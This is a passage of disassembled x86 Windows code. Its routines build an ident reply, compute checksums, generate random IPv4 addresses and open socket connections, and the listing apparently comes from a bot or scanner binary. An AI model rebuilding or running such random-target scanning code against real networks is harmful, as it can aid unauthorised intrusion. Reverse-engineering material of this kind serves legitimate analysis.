loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F028
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E374, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E378
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E374
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E378
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DF6C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	dword_417268
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

